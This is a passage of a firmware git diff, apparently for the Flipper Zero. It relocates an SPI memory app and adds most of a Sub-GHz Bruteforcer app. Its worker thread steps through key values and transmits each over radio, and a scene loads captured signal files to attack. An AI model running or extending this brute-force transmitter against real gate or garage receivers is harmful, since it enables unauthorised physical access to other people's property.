applications/external/spi_mem_manager/spi_mem_app_i.h diff --git a/applications/plugins/spi_mem_manager/spi_mem_files.c b/applications/external/spi_mem_manager/spi_mem_files.c similarity index 100% rename from applications/plugins/spi_mem_manager/spi_mem_files.c rename to applications/external/spi_mem_manager/spi_mem_files.c diff --git a/applications/plugins/spi_mem_manager/spi_mem_files.h b/applications/external/spi_mem_manager/spi_mem_files.h similarity index 100% rename from applications/plugins/spi_mem_manager/spi_mem_files.h rename to applications/external/spi_mem_manager/spi_mem_files.h diff --git a/applications/plugins/spi_mem_manager/tools/chiplist/LICENSE b/applications/external/spi_mem_manager/tools/chiplist/LICENSE similarity index 100% rename from applications/plugins/spi_mem_manager/tools/chiplist/LICENSE rename to applications/external/spi_mem_manager/tools/chiplist/LICENSE diff --git a/applications/plugins/spi_mem_manager/tools/chiplist/chiplist.xml b/applications/external/spi_mem_manager/tools/chiplist/chiplist.xml similarity index 100% rename from applications/plugins/spi_mem_manager/tools/chiplist/chiplist.xml rename to applications/external/spi_mem_manager/tools/chiplist/chiplist.xml diff --git a/applications/plugins/spi_mem_manager/tools/chiplist_convert.py b/applications/external/spi_mem_manager/tools/chiplist_convert.py similarity index 100% rename from applications/plugins/spi_mem_manager/tools/chiplist_convert.py rename to applications/external/spi_mem_manager/tools/chiplist_convert.py diff --git a/applications/plugins/spi_mem_manager/views/spi_mem_view_detect.c b/applications/external/spi_mem_manager/views/spi_mem_view_detect.c similarity index 100% rename from applications/plugins/spi_mem_manager/views/spi_mem_view_detect.c rename to applications/external/spi_mem_manager/views/spi_mem_view_detect.c diff --git a/applications/plugins/spi_mem_manager/views/spi_mem_view_detect.h b/applications/external/spi_mem_manager/views/spi_mem_view_detect.h similarity index 100% rename from applications/plugins/spi_mem_manager/views/spi_mem_view_detect.h rename to applications/external/spi_mem_manager/views/spi_mem_view_detect.h diff --git a/applications/plugins/spi_mem_manager/views/spi_mem_view_progress.c b/applications/external/spi_mem_manager/views/spi_mem_view_progress.c similarity index 100% rename from applications/plugins/spi_mem_manager/views/spi_mem_view_progress.c rename to applications/external/spi_mem_manager/views/spi_mem_view_progress.c diff --git a/applications/plugins/spi_mem_manager/views/spi_mem_view_progress.h b/applications/external/spi_mem_manager/views/spi_mem_view_progress.h similarity index 100% rename from applications/plugins/spi_mem_manager/views/spi_mem_view_progress.h rename to applications/external/spi_mem_manager/views/spi_mem_view_progress.h diff --git a/applications/external/subghz_bruteforcer/LICENSE b/applications/external/subghz_bruteforcer/LICENSE new file mode 100644 index 000000000..06dcf7e87 --- /dev/null +++ b/applications/external/subghz_bruteforcer/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2022 Der Skythe + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/applications/external/subghz_bruteforcer/application.fam b/applications/external/subghz_bruteforcer/application.fam new file mode 100644 index 000000000..f756ae51a --- /dev/null +++ b/applications/external/subghz_bruteforcer/application.fam @@ -0,0 +1,12 @@ +App( + appid="SubGHz_Bruteforcer", + name="Sub-GHz Bruteforcer", + apptype=FlipperAppType.EXTERNAL, + entry_point="subbrute_app", + requires=["gui", "dialogs"], + stack_size=2 * 1024, + order=11, + fap_icon="images/subbrute_10px.png", + fap_category="Sub-GHz", + fap_icon_assets="images", +) diff --git a/applications/external/subghz_bruteforcer/helpers/gui_top_buttons.c b/applications/external/subghz_bruteforcer/helpers/gui_top_buttons.c new file mode 100644 index 000000000..0415c5ae7 --- /dev/null +++ b/applications/external/subghz_bruteforcer/helpers/gui_top_buttons.c @@ -0,0 +1,59 @@ +#include "gui_top_buttons.h" + +void elements_button_top_left(Canvas* canvas, const char* str) { + const Icon* icon = &I_ButtonUp_7x4; + + const uint8_t button_height = 12; + const uint8_t vertical_offset = 3; + const uint8_t horizontal_offset = 3; + const uint8_t string_width = canvas_string_width(canvas, str); + const uint8_t icon_h_offset = 3; + const uint8_t icon_width_with_offset = icon_get_width(icon) + icon_h_offset; + const uint8_t icon_v_offset = icon_get_height(icon) + vertical_offset; + const uint8_t button_width = string_width + horizontal_offset * 2 + icon_width_with_offset; + + const uint8_t x = 0; + const uint8_t y = 0 + button_height; + + uint8_t line_x = x + button_width; + uint8_t line_y = y - button_height; + canvas_draw_box(canvas, x, line_y, button_width, button_height); + canvas_draw_line(canvas, line_x + 0, line_y, line_x + 0, y - 1); + canvas_draw_line(canvas, line_x + 1, line_y, line_x + 1, y - 2); + canvas_draw_line(canvas, line_x + 2, line_y, line_x + 2, y - 3); + + canvas_invert_color(canvas); + canvas_draw_icon(canvas, x + horizontal_offset, y - icon_v_offset, icon); + canvas_draw_str( + canvas, x + horizontal_offset + icon_width_with_offset, y - vertical_offset, str); + canvas_invert_color(canvas); +} + +void elements_button_top_right(Canvas* canvas, const char* str) { + const Icon* icon = &I_ButtonDown_7x4; + + const uint8_t button_height = 12; + const uint8_t vertical_offset = 3; + const uint8_t horizontal_offset = 3; + const uint8_t string_width = canvas_string_width(canvas, str); + const uint8_t icon_h_offset = 3; + const uint8_t icon_width_with_offset = icon_get_width(icon) + icon_h_offset; + const uint8_t icon_v_offset = icon_get_height(icon) + vertical_offset + 1; + const uint8_t button_width = string_width + horizontal_offset * 2 + icon_width_with_offset; + + const uint8_t x = canvas_width(canvas); + const uint8_t y = 0 + button_height; + + uint8_t line_x = x - button_width; + uint8_t line_y = y - button_height; + canvas_draw_box(canvas, line_x, line_y, button_width, button_height); + canvas_draw_line(canvas, line_x - 1, line_y, line_x - 1, y - 1); + canvas_draw_line(canvas, line_x - 2, line_y, line_x - 2, y - 2); + canvas_draw_line(canvas, line_x - 3, line_y, line_x - 3, y - 3); + + canvas_invert_color(canvas); + canvas_draw_str(canvas, x - button_width + horizontal_offset, y - vertical_offset, str); + canvas_draw_icon( + canvas, x - horizontal_offset - icon_get_width(icon), y - icon_v_offset, icon); + canvas_invert_color(canvas); +} \ No newline at end of file diff --git a/applications/external/subghz_bruteforcer/helpers/gui_top_buttons.h b/applications/external/subghz_bruteforcer/helpers/gui_top_buttons.h new file mode 100644 index 000000000..b5ca507b7 --- /dev/null +++ b/applications/external/subghz_bruteforcer/helpers/gui_top_buttons.h @@ -0,0 +1,21 @@ +#pragma once + +#include +#include +#include +#include +#include + +/** + * Thanks to the author of metronome + * @param canvas + * @param str + */ +void elements_button_top_left(Canvas* canvas, const char* str); + +/** + * Thanks to the author of metronome + * @param canvas + * @param str + */ +void elements_button_top_right(Canvas* canvas, const char* str); \ No newline at end of file diff --git a/applications/external/subghz_bruteforcer/helpers/subbrute_worker.c b/applications/external/subghz_bruteforcer/helpers/subbrute_worker.c new file mode 100644 index 000000000..118e63c65 --- /dev/null +++ b/applications/external/subghz_bruteforcer/helpers/subbrute_worker.c @@ -0,0 +1,437 @@ +#include "subbrute_worker_private.h" +#include +#include +#include +#include +#include + +#define TAG "SubBruteWorker" +#define SUBBRUTE_TX_TIMEOUT 5 +#define SUBBRUTE_MANUAL_TRANSMIT_INTERVAL 400 + +SubBruteWorker* subbrute_worker_alloc() { + SubBruteWorker* instance = malloc(sizeof(SubBruteWorker)); + + instance->state = SubBruteWorkerStateIDLE; + instance->step = 0; + instance->worker_running = false; + instance->initiated = false; + instance->last_time_tx_data = 0; + instance->load_index = 0; + + instance->thread = furi_thread_alloc(); + furi_thread_set_name(instance->thread, "SubBruteAttackWorker"); + furi_thread_set_stack_size(instance->thread, 2048); + furi_thread_set_context(instance->thread, instance); + furi_thread_set_callback(instance->thread, subbrute_worker_thread); + + instance->context = NULL; + instance->callback = NULL; + + instance->decoder_result = NULL; + instance->transmitter = NULL; + instance->environment = subghz_environment_alloc(); + subghz_environment_set_protocol_registry( + instance->environment, (void*)&subghz_protocol_registry); + + instance->transmit_mode = false; + + return instance; +} + +void subbrute_worker_free(SubBruteWorker* instance) { + furi_assert(instance); + + // I don't know how to free this + instance->decoder_result = NULL; + + if(instance->transmitter != NULL) { + subghz_transmitter_free(instance->transmitter); + instance->transmitter = NULL; + } + + subghz_environment_free(instance->environment); + instance->environment = NULL; + + furi_thread_free(instance->thread); + + free(instance); +} + +uint64_t subbrute_worker_get_step(SubBruteWorker* instance) { + return instance->step; +} + +bool subbrute_worker_set_step(SubBruteWorker* instance, uint64_t step) { + furi_assert(instance); + if(!subbrute_worker_can_manual_transmit(instance)) { + FURI_LOG_W(TAG, "Cannot set step during running mode"); + return false; + } + + instance->step = step; + + return true; +} + +bool subbrute_worker_init_default_attack( + SubBruteWorker* instance, + SubBruteAttacks attack_type, + uint64_t step, + const SubBruteProtocol* protocol, + uint8_t extra_repeats) { + furi_assert(instance); + + if(instance->worker_running) { + FURI_LOG_W(TAG, "Init Worker when it's running"); + subbrute_worker_stop(instance); + } + + instance->attack = attack_type; + instance->frequency = protocol->frequency; + instance->preset = protocol->preset; + instance->file = protocol->file; + instance->step = step; + instance->bits = protocol->bits; + instance->te = protocol->te; + instance->repeat = protocol->repeat + extra_repeats; + instance->load_index = 0; + instance->file_key = 0; + instance->two_bytes = false; + + instance->max_value = + subbrute_protocol_calc_max_value(instance->attack, instance->bits, instance->two_bytes); + + instance->initiated = true; + instance->state = SubBruteWorkerStateReady; + subbrute_worker_send_callback(instance); +#ifdef FURI_DEBUG + FURI_LOG_I( + TAG, + "subbrute_worker_init_default_attack: %s, bits: %d, preset: %s, file: %s, te: %ld, repeat: %d, max_value: %lld", + subbrute_protocol_name(instance->attack), + instance->bits, + subbrute_protocol_preset(instance->preset), + subbrute_protocol_file(instance->file), + instance->te, + instance->repeat, + instance->max_value); +#endif + + return true; +} + +bool subbrute_worker_init_file_attack( + SubBruteWorker* instance, + uint64_t step, + uint8_t load_index, + uint64_t file_key, + SubBruteProtocol* protocol, + uint8_t extra_repeats, + bool two_bytes) { + furi_assert(instance); + + if(instance->worker_running) { + FURI_LOG_W(TAG, "Init Worker when it's running"); + subbrute_worker_stop(instance); + } + + instance->attack = SubBruteAttackLoadFile; + instance->frequency = protocol->frequency; + instance->preset = protocol->preset; + instance->file = protocol->file; + instance->step = step; + instance->bits = protocol->bits; + instance->te = protocol->te; + instance->load_index = load_index; + instance->repeat = protocol->repeat + extra_repeats; + instance->file_key = file_key; + instance->two_bytes = two_bytes; + + instance->max_value = + subbrute_protocol_calc_max_value(instance->attack, instance->bits, instance->two_bytes); + + instance->initiated = true; + instance->state = SubBruteWorkerStateReady; + subbrute_worker_send_callback(instance); +#ifdef FURI_DEBUG + FURI_LOG_I( + TAG, + "subbrute_worker_init_file_attack: %s, bits: %d, preset: %s, file: %s, te: %ld, repeat: %d, max_value: %lld, key: %llX", + subbrute_protocol_name(instance->attack), + instance->bits, + subbrute_protocol_preset(instance->preset), + subbrute_protocol_file(instance->file), + instance->te, + instance->repeat, + instance->max_value, + instance->file_key); +#endif + + return true; +} + +bool subbrute_worker_start(SubBruteWorker* instance) { + furi_assert(instance); + + if(!instance->initiated) { + FURI_LOG_W(TAG, "Worker not init!"); + return false; + } + + if(instance->worker_running) { + FURI_LOG_W(TAG, "Worker is already running!"); + return false; + } + if(instance->state != SubBruteWorkerStateReady && + instance->state != SubBruteWorkerStateFinished) { + FURI_LOG_W(TAG, "Worker cannot start, invalid device state: %d", instance->state); + return false; + } + + instance->worker_running = true; + furi_thread_start(instance->thread); + + return true; +} + +void subbrute_worker_stop(SubBruteWorker* instance) { + furi_assert(instance); + + if(!instance->worker_running) { + return; + } + + instance->worker_running = false; + furi_thread_join(instance->thread); + + furi_hal_subghz_set_path(FuriHalSubGhzPathIsolate); + furi_hal_subghz_sleep(); +} + +bool subbrute_worker_transmit_current_key(SubBruteWorker* instance, uint64_t step) { + furi_assert(instance); + + if(!instance->initiated) { + FURI_LOG_W(TAG, "Worker not init!"); + return false; + } + if(instance->worker_running) { + FURI_LOG_W(TAG, "Worker in running state!"); + return false; + } + if(instance->state != SubBruteWorkerStateReady && + instance->state != SubBruteWorkerStateFinished) { + FURI_LOG_W(TAG, "Invalid state for running worker! State: %d", instance->state); + return false; + } + + uint32_t ticks = furi_get_tick(); + if((ticks - instance->last_time_tx_data) < SUBBRUTE_MANUAL_TRANSMIT_INTERVAL) { +#if FURI_DEBUG + FURI_LOG_D(TAG, "Need to wait, current: %ld", ticks - instance->last_time_tx_data); +#endif + return false; + } + + instance->last_time_tx_data = ticks; + instance->step = step; + + bool result; + instance->protocol_name = subbrute_protocol_file(instance->file); + FlipperFormat* flipper_format = flipper_format_string_alloc(); + Stream* stream = flipper_format_get_raw_stream(flipper_format); + + stream_clean(stream); + + if(instance->attack == SubBruteAttackLoadFile) { + subbrute_protocol_file_payload( + stream, + step, + instance->bits, + instance->te, + instance->repeat, + instance->load_index, + instance->file_key, + instance->two_bytes); + } else { + subbrute_protocol_default_payload( + stream, instance->file, step, instance->bits, instance->te, instance->repeat); + } + + // size_t written = stream_write_string(stream, payload); + // if(written <= 0) { + // FURI_LOG_W(TAG, "Error creating packet! EXIT"); + // result = false; + // } else { + subbrute_worker_subghz_transmit(instance, flipper_format); + + result = true; +#if FURI_DEBUG + FURI_LOG_D(TAG, "Manual transmit done"); +#endif + // } + + flipper_format_free(flipper_format); + // furi_string_free(payload); + + return result; +} + +bool subbrute_worker_is_running(SubBruteWorker* instance) { + return instance->worker_running; +} + +bool subbrute_worker_can_manual_transmit(SubBruteWorker* instance) { + furi_assert(instance); + + if(!instance->initiated) { + FURI_LOG_W(TAG, "Worker not init!"); + return false; + } + + return !instance->worker_running && instance->state != SubBruteWorkerStateIDLE && + instance->state != SubBruteWorkerStateTx && + ((furi_get_tick() - instance->last_time_tx_data) > SUBBRUTE_MANUAL_TRANSMIT_INTERVAL); +} + +void subbrute_worker_set_callback( + SubBruteWorker* instance, + SubBruteWorkerCallback callback, + void* context) { + furi_assert(instance); + + instance->callback = callback; + instance->context = context; +} + +void subbrute_worker_subghz_transmit(SubBruteWorker* instance, FlipperFormat* flipper_format) { + while(instance->transmit_mode) { + furi_delay_ms(SUBBRUTE_TX_TIMEOUT); + } + instance->transmit_mode = true; + if(instance->transmitter != NULL) { + subghz_transmitter_free(instance->transmitter); + instance->transmitter = NULL; + } + instance->transmitter = + subghz_transmitter_alloc_init(instance->environment, instance->protocol_name); + subghz_transmitter_deserialize(instance->transmitter, flipper_format); + furi_hal_subghz_reset(); + furi_hal_subghz_load_preset(instance->preset); + furi_hal_subghz_set_frequency_and_path(instance->frequency); + furi_hal_subghz_start_async_tx(subghz_transmitter_yield, instance->transmitter); + + while(!furi_hal_subghz_is_async_tx_complete()) { + furi_delay_ms(SUBBRUTE_TX_TIMEOUT); + } + furi_hal_subghz_stop_async_tx(); + + furi_hal_subghz_set_path(FuriHalSubGhzPathIsolate); + furi_hal_subghz_sleep(); + subghz_transmitter_free(instance->transmitter); + instance->transmitter = NULL; + + instance->transmit_mode = false; +} + +void subbrute_worker_send_callback(SubBruteWorker* instance) { + if(instance->callback != NULL) { + instance->callback(instance->context, instance->state); + } +} + +/** + * Entrypoint for worker + * + * @param context SubBruteWorker* + * @return 0 if ok + */ +int32_t subbrute_worker_thread(void* context) { + furi_assert(context); + SubBruteWorker* instance = (SubBruteWorker*)context; + + if(!instance->worker_running) { + FURI_LOG_W(TAG, "Worker is not set to running state!"); + return -1; + } + if(instance->state != SubBruteWorkerStateReady && + instance->state != SubBruteWorkerStateFinished) { + FURI_LOG_W(TAG, "Invalid state for running worker! State: %d", instance->state); + return -2; + } +#ifdef FURI_DEBUG + FURI_LOG_I(TAG, "Worker start"); +#endif + + SubBruteWorkerState local_state = instance->state = SubBruteWorkerStateTx; + subbrute_worker_send_callback(instance); + + instance->protocol_name = subbrute_protocol_file(instance->file); + + FlipperFormat* flipper_format = flipper_format_string_alloc(); + Stream* stream = flipper_format_get_raw_stream(flipper_format); + + while(instance->worker_running) { + stream_clean(stream); + if(instance->attack == SubBruteAttackLoadFile) { + subbrute_protocol_file_payload( + stream, + instance->step, + instance->bits, + instance->te, + instance->repeat, + instance->load_index, + instance->file_key, + instance->two_bytes); + } else { + subbrute_protocol_default_payload( + stream, + instance->file, + instance->step, + instance->bits, + instance->te, + instance->repeat); + } +#ifdef FURI_DEBUG + //FURI_LOG_I(TAG, "Payload: %s", furi_string_get_cstr(payload)); + //furi_delay_ms(SUBBRUTE_MANUAL_TRANSMIT_INTERVAL / 4); +#endif + + // size_t written = stream_write_stream_write_string(stream, payload); + // if(written <= 0) { + // FURI_LOG_W(TAG, "Error creating packet! BREAK"); + // instance->worker_running = false; + // local_state = SubBruteWorkerStateIDLE; + // furi_string_free(payload); + // break; + // } + + subbrute_worker_subghz_transmit(instance, flipper_format); + + if(instance->step + 1 > instance->max_value) { +#ifdef FURI_DEBUG + FURI_LOG_I(TAG, "Worker finished to end"); +#endif + local_state = SubBruteWorkerStateFinished; + // furi_string_free(payload); + break; + } + instance->step++; + + // furi_string_free(payload); + furi_delay_ms(SUBBRUTE_TX_TIMEOUT); + } + + flipper_format_free(flipper_format); + + instance->worker_running = false; // Because we have error states + instance->state = local_state == SubBruteWorkerStateTx ? SubBruteWorkerStateReady : + local_state; + subbrute_worker_send_callback(instance); + +#ifdef FURI_DEBUG + FURI_LOG_I(TAG, "Worker stop"); +#endif + return 0; +} diff --git a/applications/external/subghz_bruteforcer/helpers/subbrute_worker.h b/applications/external/subghz_bruteforcer/helpers/subbrute_worker.h new file mode 100644 index 000000000..4046f997c --- /dev/null +++ b/applications/external/subghz_bruteforcer/helpers/subbrute_worker.h @@ -0,0 +1,42 @@ +#pragma once + +#include "../subbrute_protocols.h" + +typedef enum { + SubBruteWorkerStateIDLE, + SubBruteWorkerStateReady, + SubBruteWorkerStateTx, + SubBruteWorkerStateFinished +} SubBruteWorkerState; + +typedef void (*SubBruteWorkerCallback)(void* context, SubBruteWorkerState state); + +typedef struct SubBruteWorker SubBruteWorker; + +SubBruteWorker* subbrute_worker_alloc(); +void subbrute_worker_free(SubBruteWorker* instance); +uint64_t subbrute_worker_get_step(SubBruteWorker* instance); +bool subbrute_worker_set_step(SubBruteWorker* instance, uint64_t step); +bool subbrute_worker_is_running(SubBruteWorker* instance); +bool subbrute_worker_init_default_attack( + SubBruteWorker* instance, + SubBruteAttacks attack_type, + uint64_t step, + const SubBruteProtocol* protocol, + uint8_t extra_repeats); +bool subbrute_worker_init_file_attack( + SubBruteWorker* instance, + uint64_t step, + uint8_t load_index, + uint64_t file_key, + SubBruteProtocol* protocol, + uint8_t extra_repeats, + bool two_bytes); +bool subbrute_worker_start(SubBruteWorker* instance); +void subbrute_worker_stop(SubBruteWorker* instance); +bool subbrute_worker_transmit_current_key(SubBruteWorker* instance, uint64_t step); +bool subbrute_worker_can_manual_transmit(SubBruteWorker* instance); +void subbrute_worker_set_callback( + SubBruteWorker* instance, + SubBruteWorkerCallback callback, + void* context); \ No newline at end of file diff --git a/applications/external/subghz_bruteforcer/helpers/subbrute_worker_private.h b/applications/external/subghz_bruteforcer/helpers/subbrute_worker_private.h new file mode 100644 index 000000000..e38e77dc4 --- /dev/null +++ b/applications/external/subghz_bruteforcer/helpers/subbrute_worker_private.h @@ -0,0 +1,48 @@ +#pragma once + +#include "subbrute_worker.h" +#include +#include +#include +#include + +struct SubBruteWorker { + SubBruteWorkerState state; + volatile bool worker_running; + volatile bool initiated; + volatile bool transmit_mode; + + // Current step + uint64_t step; + + // SubGhz + FuriThread* thread; + SubGhzProtocolDecoderBase* decoder_result; + SubGhzEnvironment* environment; + SubGhzTransmitter* transmitter; + const char* protocol_name; + + // Initiated values + SubBruteAttacks attack; // Attack state + uint32_t frequency; + FuriHalSubGhzPreset preset; + SubBruteFileProtocol file; + uint8_t bits; + uint32_t te; + uint8_t repeat; + uint8_t load_index; // Index of group to bruteforce in loaded file + uint64_t file_key; + uint64_t max_value; // Max step + bool two_bytes; + + // Manual transmit + uint32_t last_time_tx_data; + + // Callback for changed states + SubBruteWorkerCallback callback; + void* context; +}; + +int32_t subbrute_worker_thread(void* context); +void subbrute_worker_subghz_transmit(SubBruteWorker* instance, FlipperFormat* flipper_format); +void subbrute_worker_send_callback(SubBruteWorker* instance); \ No newline at end of file diff --git a/applications/plugins/timelapse/icons/ButtonDown_7x4.png b/applications/external/subghz_bruteforcer/images/ButtonDown_7x4.png similarity index 100% rename from applications/plugins/timelapse/icons/ButtonDown_7x4.png rename to applications/external/subghz_bruteforcer/images/ButtonDown_7x4.png diff --git a/applications/plugins/timelapse/icons/ButtonUp_7x4.png b/applications/external/subghz_bruteforcer/images/ButtonUp_7x4.png similarity index 100% rename from applications/plugins/timelapse/icons/ButtonUp_7x4.png rename to applications/external/subghz_bruteforcer/images/ButtonUp_7x4.png diff --git a/applications/external/subghz_bruteforcer/images/DolphinNice_96x59.png b/applications/external/subghz_bruteforcer/images/DolphinNice_96x59.png new file mode 100644 index 000000000..a299d3630 Binary files /dev/null and b/applications/external/subghz_bruteforcer/images/DolphinNice_96x59.png differ diff --git a/applications/external/subghz_bruteforcer/images/Sub1ghz_14/frame_01.png b/applications/external/subghz_bruteforcer/images/Sub1ghz_14/frame_01.png new file mode 100644 index 000000000..52dc4ad21 Binary files /dev/null and b/applications/external/subghz_bruteforcer/images/Sub1ghz_14/frame_01.png differ diff --git a/applications/external/subghz_bruteforcer/images/Sub1ghz_14/frame_02.png b/applications/external/subghz_bruteforcer/images/Sub1ghz_14/frame_02.png new file mode 100644 index 000000000..2dff1c031 Binary files /dev/null and b/applications/external/subghz_bruteforcer/images/Sub1ghz_14/frame_02.png differ diff --git a/applications/external/subghz_bruteforcer/images/Sub1ghz_14/frame_03.png b/applications/external/subghz_bruteforcer/images/Sub1ghz_14/frame_03.png new file mode 100644 index 000000000..c1e438b01 Binary files /dev/null and b/applications/external/subghz_bruteforcer/images/Sub1ghz_14/frame_03.png differ diff --git a/applications/external/subghz_bruteforcer/images/Sub1ghz_14/frame_04.png b/applications/external/subghz_bruteforcer/images/Sub1ghz_14/frame_04.png new file mode 100644 index 000000000..169fb6147 Binary files /dev/null and b/applications/external/subghz_bruteforcer/images/Sub1ghz_14/frame_04.png differ diff --git a/applications/external/subghz_bruteforcer/images/Sub1ghz_14/frame_05.png b/applications/external/subghz_bruteforcer/images/Sub1ghz_14/frame_05.png new file mode 100644 index 000000000..79b2bc972 Binary files /dev/null and b/applications/external/subghz_bruteforcer/images/Sub1ghz_14/frame_05.png differ diff --git a/applications/external/subghz_bruteforcer/images/Sub1ghz_14/frame_06.png b/applications/external/subghz_bruteforcer/images/Sub1ghz_14/frame_06.png new file mode 100644 index 000000000..8fce0c44d Binary files /dev/null and b/applications/external/subghz_bruteforcer/images/Sub1ghz_14/frame_06.png differ diff --git a/assets/icons/MainMenu/Clock_14/frame_rate b/applications/external/subghz_bruteforcer/images/Sub1ghz_14/frame_rate similarity index 100% rename from assets/icons/MainMenu/Clock_14/frame_rate rename to applications/external/subghz_bruteforcer/images/Sub1ghz_14/frame_rate diff --git a/applications/external/subghz_bruteforcer/images/sub1_10px.png b/applications/external/subghz_bruteforcer/images/sub1_10px.png new file mode 100644 index 000000000..5a25fdf4e Binary files /dev/null and b/applications/external/subghz_bruteforcer/images/sub1_10px.png differ diff --git a/applications/plugins/playlist/playlist_10px.png b/applications/external/subghz_bruteforcer/images/subbrute_10px.png similarity index 55% rename from applications/plugins/playlist/playlist_10px.png rename to applications/external/subghz_bruteforcer/images/subbrute_10px.png index fc33471f7..57d6f6a45 100644 Binary files a/applications/plugins/playlist/playlist_10px.png and b/applications/external/subghz_bruteforcer/images/subbrute_10px.png differ diff --git a/applications/plugins/dolphinrestorer/scenes/drestorer_scene.h b/applications/external/subghz_bruteforcer/scenes/subbrute_scene.h similarity index 65% rename from applications/plugins/dolphinrestorer/scenes/drestorer_scene.h rename to applications/external/subghz_bruteforcer/scenes/subbrute_scene.h index 9843ff676..c048985e2 100644 --- a/applications/plugins/dolphinrestorer/scenes/drestorer_scene.h +++ b/applications/external/subghz_bruteforcer/scenes/subbrute_scene.h @@ -3,27 +3,27 @@ #include // Generate scene id and total number -#define ADD_SCENE(prefix, name, id) StorageMoveToSd##id, +#define ADD_SCENE(prefix, name, id) SubBruteScene##id, typedef enum { -#include "drestorer_scene_config.h" - StorageMoveToSdSceneNum, -} StorageMoveToSdScene; +#include "subbrute_scene_config.h" + SubBruteSceneNum, +} SubBruteScene; #undef ADD_SCENE -extern const SceneManagerHandlers drestorer_scene_handlers; +extern const SceneManagerHandlers subbrute_scene_handlers; // Generate scene on_enter handlers declaration #define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_enter(void*); -#include "drestorer_scene_config.h" +#include "subbrute_scene_config.h" #undef ADD_SCENE // Generate scene on_event handlers declaration #define ADD_SCENE(prefix, name, id) \ bool prefix##_scene_##name##_on_event(void* context, SceneManagerEvent event); -#include "drestorer_scene_config.h" +#include "subbrute_scene_config.h" #undef ADD_SCENE // Generate scene on_exit handlers declaration #define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_exit(void* context); -#include "drestorer_scene_config.h" +#include "subbrute_scene_config.h" #undef ADD_SCENE diff --git a/applications/external/subghz_bruteforcer/scenes/subbrute_scene_config.h b/applications/external/subghz_bruteforcer/scenes/subbrute_scene_config.h new file mode 100644 index 000000000..3541df9ac --- /dev/null +++ b/applications/external/subghz_bruteforcer/scenes/subbrute_scene_config.h @@ -0,0 +1,7 @@ +ADD_SCENE(subbrute, load_file, LoadFile) +ADD_SCENE(subbrute, load_select, LoadSelect) +ADD_SCENE(subbrute, run_attack, RunAttack) +ADD_SCENE(subbrute, save_name, SaveName) +ADD_SCENE(subbrute, save_success, SaveSuccess) +ADD_SCENE(subbrute, setup_attack, SetupAttack) +ADD_SCENE(subbrute, start, Start) \ No newline at end of file diff --git a/applications/external/subghz_bruteforcer/scenes/subbrute_scene_load_file.c b/applications/external/subghz_bruteforcer/scenes/subbrute_scene_load_file.c new file mode 100644 index 000000000..8aae1bcad --- /dev/null +++ b/applications/external/subghz_bruteforcer/scenes/subbrute_scene_load_file.c @@ -0,0 +1,91 @@ +#include "../subbrute_i.h" +#include "subbrute_scene.h" + +#define TAG "SubBruteSceneLoadFile" + +void subbrute_scene_load_file_on_enter(void* context) { + furi_assert(context); + SubBruteState* instance = (SubBruteState*)context; + + // Input events and views are managed by file_browser + FuriString* app_folder; + FuriString* load_path; + load_path = furi_string_alloc(); + app_folder = furi_string_alloc_set(SUBBRUTE_PATH); + + DialogsFileBrowserOptions browser_options; + dialog_file_browser_set_basic_options(&browser_options, SUBBRUTE_FILE_EXT, &I_sub1_10px); + + SubBruteFileResult load_result = SubBruteFileResultUnknown; + // TODO: DELETE IT +#ifdef SUBBRUTE_FAST_TRACK + bool res = true; + furi_string_printf(load_path, "%s", "/ext/subghz/princeton.sub"); +#else + bool res = + dialog_file_browser_show(instance->dialogs, load_path, app_folder, &browser_options); +#endif +#ifdef FURI_DEBUG + FURI_LOG_D( + TAG, + "load_path: %s, app_folder: %s", + furi_string_get_cstr(load_path), + furi_string_get_cstr(app_folder)); +#endif + if(res) { + load_result = + subbrute_device_load_from_file(instance->device, furi_string_get_cstr(load_path)); + if(load_result == SubBruteFileResultOk) { + uint8_t extra_repeats = subbrute_main_view_get_extra_repeats(instance->view_main); + + load_result = subbrute_device_attack_set( + instance->device, SubBruteAttackLoadFile, extra_repeats); + if(load_result == SubBruteFileResultOk) { + if(!subbrute_worker_init_file_attack( + instance->worker, + instance->device->current_step, + instance->device->bit_index, + instance->device->key_from_file, + instance->device->file_protocol_info, + extra_repeats, + instance->device->two_bytes)) { + furi_crash("Invalid attack set!"); + } + // Ready to run! + FURI_LOG_I(TAG, "Ready to run"); + res = true; + } + } + + if(load_result == SubBruteFileResultOk) { + scene_manager_next_scene(instance->scene_manager, SubBruteSceneLoadSelect); + } else { + FURI_LOG_E(TAG, "Returned error: %d", load_result); + + FuriString* dialog_msg; + dialog_msg = furi_string_alloc(); + furi_string_cat_printf( + dialog_msg, "Cannot parse\nfile: %s", subbrute_device_error_get_desc(load_result)); + dialog_message_show_storage_error(instance->dialogs, furi_string_get_cstr(dialog_msg)); + furi_string_free(dialog_msg); + scene_manager_search_and_switch_to_previous_scene( + instance->scene_manager, SubBruteSceneStart); + } + } else { + scene_manager_search_and_switch_to_previous_scene( + instance->scene_manager, SubBruteSceneStart); + } + + furi_string_free(app_folder); + furi_string_free(load_path); +} + +void subbrute_scene_load_file_on_exit(void* context) { + UNUSED(context); +} + +bool subbrute_scene_load_file_on_event(void* context, SceneManagerEvent event) { + UNUSED(context); + UNUSED(event); + return false; +} \ No newline at end of file diff --git a/applications/external/subghz_bruteforcer/scenes/subbrute_scene_load_select.c b/applications/external/subghz_bruteforcer/scenes/subbrute_scene_load_select.c new file mode 100644 index 000000000..d018e8b4d --- /dev/null +++ b/applications/external/subghz_bruteforcer/scenes/subbrute_scene_load_select.c @@ -0,0 +1,82 @@ +#include "../subbrute_i.h" +#include 